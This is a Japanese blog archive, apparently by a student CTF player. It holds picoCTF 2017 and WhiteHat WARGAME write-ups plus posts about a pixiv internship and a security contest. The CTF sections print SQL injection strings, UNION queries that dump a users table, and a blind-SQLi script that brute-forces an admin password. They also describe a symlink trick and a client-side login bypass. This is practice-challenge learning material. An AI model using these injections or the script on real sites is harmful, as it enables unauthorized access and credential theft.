54686520666c61672069733af4f47fac37994a4dbe5e15b9c342891b

最後の出力から The flag is: の部分を取り除いたものがフラグでした。

computeAES [Crypto 50]

Encrypted with AES in ECB mode. All values base64 encoded ciphertext = rvn6zLZS4arY+yWNwZ5YlbLAv/gjwM7gZJnqyQjhRZVCC5jxaBvfkRapPBoyxu4e key = /7uAbKC7hfINLcSZE+Y9AA==

という問題でした。暗号文と鍵が与えられてるのでやるだけです。

>>> from Crypto.Cipher import AES
>>> aes = AES.new('/7uAbKC7hfINLcSZE+Y9AA=='.decode('base64'), AES.MODE_ECB)
>>> aes.decrypt('rvn6zLZS4arY+yWNwZ5YlbLAv/gjwM7gZJnqyQjhRZVCC5jxaBvfkRapPBoyxu4e'.decode('base64'))
'flag{do_not_let_machines_win_82e02651}__________'

computeRSA [Crypto 50]

encrypted number 150815, d = 1941, and N = 435979, what is the decrypted number?

なので、

>>> pow(150815, 1941, 435979)
133337

です。

Bash Loop [PWN 40]

フラグを吐いてくれるバイナリがいましたが、引数に1から4096の間の数値を与えて、それがあっていたらフラグを吐いてくれるとのことでした。まちがっていたら Nope といわれるのでそれ以外を grep しました。

for i in `seq 4096`; do ./bashloop $i >> ~/hg; done;

theoldmoon0602@shell-web:~$ grep -v Nope hg
Yay! That's the number! Here be the flag: 5cabdea71dd5f428c8e080db5010a7d6

Just No [Pwn 40]

theoldmoon0602@shell-web:/problems/ec9da1496f80c8248197ba564097cebb$ cat justno.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int main(int argc, char **argv){ 
  FILE* authf = fopen("../../problems/ec9da1496f80c8248197ba564097cebb/auth","r"); //access auth file in ../../../problems/ec9da1496f80c8248197ba564097cebb
  if(authf == NULL){
    printf("could not find auth file in ../../problems/ec9da1496f80c8248197ba564097cebb/\n");
    return 0;
  }
  char auth[8];
  fgets(auth,8,authf);
  fclose(authf);
  if(strcmp(auth,"no")!=0){
    FILE* flagf;
    flagf = fopen("/problems/ec9da1496f80c8248197ba564097cebb/flag","r");
    char flag[64];
    fgets(flag,64,flagf);
    printf("Oh. Well the auth file doesn't say no anymore so... Here's the flag: %s",flag);
    fclose(flagf);
  }else{
    printf("auth file says no. So no. Just... no.\n");
  }
  return 0;
}

こういうソースコードのバイナリがありました。 それっぽいファイルには no と書いてあって、上書きはできませんでした。悩んでたんですがシンボリックリンクを貼るとうまくいきました。

Oh. Well the auth file doesn't say no anymore so... Here's the flag: e4cec8fdf76a931b03ad7ef026103d43

Lazy Dev [MASTER 50]

MASTER 問題を解くと次のレベルにいけます。

こんな感じの js が埋め込まれたログインサイトがありました。

//Validate the password. TBD!
function validate(pword){
  //TODO: Implement me
  return false;
}

//Make an ajax request to the server
function make_ajax_req(input){
  var text_response;
  var http_req = new XMLHttpRequest();
  var params = "pword_valid=" + input.toString();
  http_req.open("POST", "login", true);
  http_req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  http_req.onreadystatechange = function() {//Call a function when the state changes.
    if(http_req.readyState == 4 && http_req.status == 200) {
      document.getElementById("res").innerHTML = http_req.responseText;
    }
  }
  http_req.send(params);
}

//Called when the user submits the password
function process_password(){
  var pword = document.getElementById("password").value;
  var res = validate(pword);
  var server_res = make_ajax_req(res);
}

ログインボタンを押すと validate がよばれるけど実装されてないからログインできないらしいです。 ブラウザのコンソールを開いて make_ajax_req(true); としたところ

client_side_is_the_dark_sidebde1f567656f8c9b654a1ec24e1ff889 が得られました。

Level 2

Yarn [Misc 55]

バイナリが与えられて悩んでたんですが strings -n3 するだけでした。 yarn って string と同義でいいんですかね。

Sub
mit
_me
_fo
r_I
_am
_th
e_f
lag

My First SQL [Web 50]

ログインぺーじがありました。admin'OR'a'='a で通りました。 be_careful_what_you_let_people_ask_1b3db77df6b116a38db8ceb7c81cb14c

Mystery Box [Misc 60]

エニグマの写真と状態が与えられたので http://enigma.louisedade.co.uk/enigma.html になげました。 QUIT EPUZZL INGIND EED

SoRandom [Crypto 75]

 flag = "FLAG:"+open("flag", "r").read()[:-1]
 encflag = ""
 random.seed("random")
 for c in flag:
   if c.islower():
     #rotate number around alphabet a random amount
     encflag += chr((ord(c)-ord('a')+random.randrange(0,26))%26 + ord('a'))
   elif c.isupper():
     encflag += chr((ord(c)-ord('A')+random.randrange(0,26))%26 + ord('A'))
   elif c.isdigit():
     encflag += chr((ord(c)-ord('0')+random.randrange(0,10))%10 + ord('0'))
   else:
     encflag += c
 print "Unguessably Randomized Flag: "+encflag

# Unguessably Randomized Flag: BNZQ:4pg33e44sdu4wu8198y15q685vpx8041

というファイルが与えられました。脳死で適当にデコードを書いたらうまくいきました。

def dec(flag):
    random.seed("random")
    encflag=""
    for c in flag:
        if c.islower():
            #rotate number around alphabet a random amount
            encflag += chr((ord(c)-ord('a')-random.randrange(0,26))%26 + ord('a'))
        elif c.isupper():
            encflag += chr((ord(c)-ord('A')-random.randrange(0,26))%26 + ord('A'))
        elif c.isdigit():
            encflag += chr((ord(c)-ord('0')-random.randrange(0,10))%10 + ord('0'))
        else:
            encflag += c
    print(encflag)

dec("BNZQ:4pg33e44sdu4wu8198y15q685vpx8041")

FLAG:1eb52f21eba0ec8921b41a030afd5931

Meta Find Me [For 70]

jpeg 画像が与えれました。 strings すると Your flag is flag_2_meta_4_me_<lat>_<lon>_f8ad. Now find the GPS coordinates of this image! (Degrees only please) が出てきました。

exif をみて値をはめました。

flag_2_meta_4_me_91_124_f8ad

Just Keyp Trying [For 80]

usb のパケットが与えられて「はーつらい」って言ってました。このあたりをいい感じに解けるライブラリってないですか。

tshark で値が変わっているところだけ切り出しました。 tshark -r data.pcap -Tfields -e usb.capdata > usb.data

それを python でえいってしました。

>>> f = file("usb.data").read().splitlines()
>>> ks = []
>>> for l in f:
...     ls = l.split(':')
...     if ls[2] == '00': continue
...     if ls[0] != '00': ks.append(ls[0])
...     ks.append(ls[2])
... 
>>> ks
['09', '0f', '04', '0a', '20', '2f', '13', '15', '20', '22', '22', '20', '2d', '27', '11', '1a', '04', '15', '07', '16', '20', '2d', '04', '21', '1f', '23', '20', '09', '27', '24', '20', '30', '01', '06']
>>> flag{pr355_0nwards_a4263F07}

デコードは http://www.usb.org/developers/hidpage/Hut1_12v2.pdf の p53 をみながら手でやりました。いい感じのライブラリないですか。 20 が shift キーだったり違ったりしてややこしかったので失敗

LeakedHashes [Crypto 90]

ユーザ名と md5 のリストが与えられました。 john とかしてたけどアホで、 普通に md5 の cracker に投げたらデコードできました。nc 先に適当なユーザのパスワードを投げると

     /\__/\ 
    /`    '\ 
  === 0  0 ===
    \  --  /    - flag is ac09afa2fcc825a31b9a46bab6223dd3

   /        \ 
  /          \ 
 |            |
  \  ||  ||  /
   \_oo__oo_/#######o

でした。

TW_GR_E1_ART [WEB 100]

ぼくの知ってる範囲で言うと、ポケモン不思議のダンジョンみたいなゲームでした。最下層にいくとフラグっぽいアイテムが大量に落ちていてどれか一つが本物だけどはずれを引くと全部やりなおしでめっちゃ面倒な感じでした。

node製っぽくて package.json が見えたので辿っていくと ソースコードが見えて、呼んでいくと当たりフラグの座標がわかったのでそれを拾って使いました。

Toaster used the Flag!
A soft voice on the wind speaks to you: "The secret you are looking for is at_least_the_world_wasnt_destroyed_by_a_meteor_ebb38a54b1bbe2d3fafb0460af19ea14. Use it wisely."
All items were destroyed!

Missing Identity [何か 100]

何かしらのファイルが与えられて、中身は png っぽいんだけどちゃんと見れないみたいな感じだったと思います。先頭が XXXXX になっていて、これを png のフォーマットになおしてやったらフラグが見える感じでした。これにめっちゃ悩まされて阿呆っぽい。

Level 3

Level 2の他の問題は tsun くんがときました。

Biscuit [Web 75]

なにかのページにやってきました。ソースコードをみると

<!-- Storing stuff in the same directory as your web server doesn't seem like a good idea -->
<!-- Thankfully, we use a hidden one that is super PRIVATE, to protect our cookies.sqlite file -->
<style>
body{
    background-image: url("private/image.png");
}
</style>

とあって、 private/cookies.sqlite にアクセスすると落ちてきました。これは firefox のクッキーを保存してる db っぽくて、1行しかなかったのでそのクッキーを装備してもう一度サイトにアクセスするとフラグをもらえました。

e5cd648b3f7e254fa0c384e6757233f7

A Happy Union [Web 110]

全然わからなかったんですが、ユーザ名の登録のときだけ sqli っぽいのができて、それがユーザ個人ページでのクエリを侵食できるということを tsun くんが見つけてくれたのでやるだけしてました。

' union select name,2,3 from sqlite_master -- というユーザを作って posts、 sqlite_sequence、 users というテーブルが有ることをつきとめ、 'union select sql, 2, 3 from sqlite_master-- というユーザを作って、 各テーブルのカラム名も取得しました。 あとは 'union select user, pass, 3 from users-- すると、 admin flag{union?_why_not_onion_b6e6a3cd8e3f1fe5f6109d1618bddbd1} でした。

No Eyes [Web 125]

これもログインページでした。 admin のパスワードを突き止めろ、と言われていました。 とりあえず パスワードに a' OR 'a'='a を入れましたが全然だめっぽくて、ユーザ名に入れてみたら Login Functionality Not Complete. Flag is 63 characters といわれのでなるほどねと思いました。 ブラインド sqli かなと思ったんですが面倒でやりたくなかったのでいろいろ頑張ったんですがだめだめぽくて、結局すくりぷとをかいて blind sqli しました。

import requests
import time
import string


target = 'http://shell2017.picoctf.com:33838/'

cur="not_all_errors_should_be_shown_"
for i in range(len(cur), 64):
    for c in "_{}-0987654321"+string.ascii_letters:
        r = requests.post(target, data={
            'username': "admin' and length(pass)=63 and substr(pass, 1, {})='{}".format(i+1, cur+c),
            'password': "'OR'a'='a"
            })
        res = [t for t in r.text.splitlines() if "strong" in t][0].strip()
        print("try={}, res={}".format(cur+c, res))
        if "Found" not in res:
            cur +=c 
            print("Hit!: {}".format(cur))
            break
        
        time.sleep(0.05)

途中まで like 句でマッチを探していて _ が任意の一文字にマッチしてしまったので cur にその時点までのパスワードをいれてまつ。

not_all_errors_should_be_shown_07fa15beae68af0694171000114ec419



というわけで私は全部で 1600 pts をいれました。 tsun くんは途中からはいったので得点の配分としてはこんなものかなと思います。picoctf は初心者向けと聞いていたのですが Level2 でも全完はできていなくて(なんかなぞの bmp バス問題解けなかったしRSA破るみたいなやつも放棄しちゃった)しっかり初心者していきたいなと思いました。結局といたことがあるような自明問題ばかりをやっていたので初めて出会う問題とも戦っていきたいきもちを強くしました。

おわり。

pixiv spring boot camp 2017 に参加してきた

言いたいこと

ブログのエントリを何度も書こうとして失敗したので、とりあえずこれだけわかってもらえばいいやというのを並べる。

  • pixiv のエンジニアさん、みんながみんな、さらっとすごすぎでは。圧倒的技術力を有しすぎでは……
  • pixiv の雰囲気良すぎでは。なんかのびのびとしているし、息のしやすさがすごいですね。
  • 新宿御苑とかいうの、ひとがいなくて朝の散歩には最高ですね。

pixiv spring boot camp 2017 に参加してきた

pixiv spring boot camp 2017 というものがありまして、 pixiv というサービスを運営している、 ピクシブ株式会社が行ってくれる、春のインターン行事です。10日間で10万円が出るタイプでした。

この spring boot camp に運良く参加できたので、そのことについて書きます。

参加まで

友人に教えてもらって応募しました。GitHub選考というGitHubのURLを投げるだけで選考してくれるスゴイ選考もあったんですが、私は自分のGitHubに自信がなかったので、普通の選考に応募しました。自分が情熱を注いできたものについて書け、みたいな感じの記述欄があって、「私はCTFを頑張ってきました。すごい頑張ってきました。PHPはなんか脆弱性作り込みやすいけど、御社ではめちゃPHP使ってるって聞いて気になってます!」とか書きました。探してみたら、自分がエントリーしたときの記述が残ってましたが、流石に恥ずかしくてここには上げません。

で、一次選考には通って、そのあとは skype 面接をやりました。15分くらいかな、普段やってる事とか、作ったものとかについて少しだけ話しました。とても緊張したし消耗した。

はい、それでなんかうまいことと通りました。やったー。

やったこと

 ハッカソンみたいな感じで、参加者 15名が4チームにわかれて、「世界に向けた創作活動が盛り上がるサービス」を作ろう、というテーマでサービス、アプリケーションを考えて作りました(もちろん、10日間しかないし、実装は実質 4日とかなので、完成したわけではなく、人に見せるための部分しか作っていなかったりしますが)。

 ここを詳細に書いても、読む方は面白くないと思うので省略しますが、どんなものを作ったらみんなが幸せになるのか、自分たちはどんなものを作りたいのかについて論ずるのは楽しかったし、苦しいものでした。メンターとして我々を導いてくれたAtomさんが「産みの苦しみを味わってますね」と仰ってましたが、なかなかしんどかった。

ぼくは成長したかな

 したというか、しないわけがないというか。レベルの高い人々ばかりの場所で(社員さんだけじゃなくて他のインターン参加者もハイレベルでした)10日間も過ごして、強くならないわけがないし、強くなりたいと思わないわけがない。あんな環境に10日間もいればね。そしてみんなで何かを作るという経験をすればね。

御苑はいいぞ

 住所を調べればわかると思うんですが、オフィスが新宿御苑の目と鼻の先にあって、こう、ちょっと御苑を散歩してから出社とかができます。新宿御苑は緑が一杯で人が少なくて最高の場所ということがわかったし、なんにちも通うことができました。年パスを買うべきですね。毎日通うべきですね。

pixiv はすごいって知らなかった

pixiv 運営してるだけだと思ってました。ごめんなさい。話を聞かせてもらうと、めっちゃ技術力で立ってるし、ちょっとはなしはそれるかもだけど、 pixivFANBOX とか(個人的に)最高のサービスに見えるし、めっちゃすごいですね。

そんなところにお世話になれたのはおよそ最高の経験です。 ありがとうございました。

おわり


いつでも書きたかったことを忘れるので追記します。

たとえば、僕はおよそ二週間、東京での生活をしていたわけですが、その間の生活費はだいたい 20000円くらいでした。宿泊費は向こうが持ってくれたり、お昼ごはんをごちそうになったりしたのでこの程度で済んでますのでありがたいことです。朝食はコンビニの菓子パンと野菜ジュースとかを食べて、夕飯は余裕があるときはインターン生で食べに行ったりしました。そういうときは 1000 円くらい使ったかな。

グラフにしてみた。

f:id:Furutsuki:20170320105050p:plain


忘れていたので書き足し。インターン途中で、会社説明会っぽいのがあり、18卒の人々かな? が参加していて、僕らも話を聞かせていただきました。会社説明会は面白かったし、社員さんすげぇ、社長すげぇってなったりしたのですが、感想として「スーツ着て就活したくない」がでてきました。スーツを着るかどうかが重要なのではなくて、「就活っぽい就活をしたくない」になるのですが、思考停止して「「「ありがとうございました」」」って言わないといけない存在のひとつでありたくはない、私はそうはなれないと感じました。それは年月を経て洗練された、賢くて礼を失しないやりかたなのかもしれませんが、私にとってはきっと苦痛だろうと想像できました。

これは大勢の中に埋もれた一人になりたくないというわけではなくて(むしろ多勢の中にいないと不安がある)、従わされている感じが嫌なのかなーなんて想像してみますが、結局は感情論で、説明できないし譲れないところのような気がします。

それだけ

サイバーコロッセオに参加した

今日は東京で サイバーコロッセオ に参加してきました。今回は insecure はお休みで、 Musashi というちーむで出ました。

MusashiとHarekazeの人々が集まっている中、誰の顔も補足できなかった僕は一人で会場入りしそうになり、泣きそうでした。

サイコロは King of the Hill 形式でしたが、今回も、SECCON本選に続いて、 jeopardy してました。

僕が解いたのは二問くらいで、 cat keyword1.txt すると 100pt が入る問題と、 nano keyword2.txt すると 100pt が入る問題です。

強いチームはガンガン点数を入れていて、まじかこれが力の差か……となりました。もっと解けるようになりたいし、 defense keyword が意味をなす程度には強くなりたいなと思いました。


流石に中身がなさすぎたので追記します。

会場では、ソードアート・オンラインの何かとの連携を意識して、ソードアート・オンラインのBGMが流れていたっぽいです。ソードアート・オンラインに明るくなかったので悔やまれます。

問題配布時に使われたUSBは持ち帰っていいと言われて、主体性を発揮してもらいました。唯一の収穫でした。

会場で回線がうまく提供されていなかったのは厳しかったです。難易度が高い。

会場のすぐ近くにミスタードーナツがあり最高でした。

WhiteHat WARGAME Writeup

Harekaze で WhiteHat WARGAME に出てました。 Challenge 01 と書いてあったけど本当に 01 かどうかはちょっとわからない。

Harekazeは 140pt で五位。日本勢では1番でした。CTF上位常連チームがBoston Key Partyあたりをやってたのが大きいと思います。

私は Crypto001 と Re001 を解いて、45ptを入れました。得点の殆どを st98 さんが入れててすごいなと思いました。

Re001

Faster.jar というファイルが渡されます。実行すると、ランダムな値がコンボボックスに追加されていくアプリケーションでした。次の値を予測して入力し、合ってたら何かしらがあるような感じでした。 jar なのでデコンパイルしたら、FLAGを生成する処理が見つかったのでそこだけ抜き出したらちゃんとフラグになりました。

import java.util.Stack;
class Main {
        Character[] ListChar;
        int[] ListPos;
        Stack<Double> ListRandomNumber;

        public Main() {
        this.ListChar = new Character[] { 'a', '_', 'y', 'l', '_', 'l', 'a', 'T', '_', 'T', '_', 'T', 'e', '_', 'y', 'e', 'r', '_', 'S', '_', '_', 'l', 'r', 'T', 'F', '_', 'Y', '_', 'l', 'e', 'T', 'T', 'T', 'a', 'r', 'T', 'u', 'A', 'o' };
        this.ListPos = new int[] { 11, 7, 14, 13, 26, 22, 4, 34, 15, 37, 3, 31, 19, 27, 23, 6, 18, 25, 30, 24, 17, 12, 9, 38, 28, 8, 0, 16, 21, 10, 32, 36, 33, 20, 5, 35, 2, 29, 1 };
        this.ListRandomNumber = new Stack<Double>();
        }

    public static void main(String[] args) {
        Main a = new Main();
        System.out.println(a.generateFlag());
    }

    public String generateFlag() {
        String flag = "";
        final Character[] tmpListChar = { '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0' };
        final int lenFlag = this.ListChar.length;
        for (int i = 0; i < lenFlag; ++i) {
            tmpListChar[this.ListPos[i]] = this.ListChar[i];
        }
        for (int i = 0; i < lenFlag; ++i) {
            flag = String.valueOf(flag) + tmpListChar[i];
        }
        return flag;
    }
}

Crypto001

ワンタイムパッドだけど何回も暗号化しちゃったといういくらでもみたことがあるような問題でした。渡されるのは↓

0e4f0c054e4a0c034d430c031454034f0106010019071149040b5941466c0d1141100c000859540a0a440f09124b
0b060901000b031540590a4f1a46000a071d44591b1d45414b161c4d4f220154430e080007455a482c54f41f4104
0e094f1d4f1f4f114d451c1f554f084f190702455409094c4b1c165b003b0c184c46010f12455409174546081302
0b0a0e164e4a090d534d59161053120a070a05595a4829491d0059484f3e45004f0208174a003c071545460a0e15
141b0e1d00021a0c465200435553120e0c4e024f1b040c5303360d4f596c0d014e011b174800071c0459460a0e08
13070a444d0b060c015411061b47461b1d0f10000d07100003040f4b00380a545203040b0942111a454f084c150f
21030e0300031c58016f170a2a740f021031344110370c53340b165a7f3c000646030a1a3b521d0f0d54590a0d06

解くのには↓のようなスクリプトを使いました。

import sys

a = open('cipher.txt').read().splitlines()
a = map(lambda x: x.decode('hex'), a)
l = len(a)

k = ""
pk = ""
while True:
    k = pk + str(raw_input(pk))

    for i in range(len(a)):
        r = map(lambda x: ord(x[0])^ ord(x[1]), zip(a[i%l], k))
        r = map(chr, r)
        print("".join(r))
    r = str(raw_input("OK?")).strip()
    if len(r) == 0:
        pk = k

適当に flag と打ってみたら、最後の行が Good になってたのであたりっぽかったので単語を予測していくと鍵は Good job! you found the key. Let find the flag ぽくて、 出てきた平文が

I can calculate the motion of heavenly bodies,
Life always offers you a second chance. It�s c
If you sleep on life all you will have are dre
Learn form yesterday. Live for today. Hope for
Stay hungry, stay foolishStay hungry, stay foo
The main thing that you have to remember on th
flag is: One_Time_Pad_is_not_perfect_right?fla

でした。


Re002 とか解きたかったんですが重たいバイナリを読むのが苦手で負けてしまいました……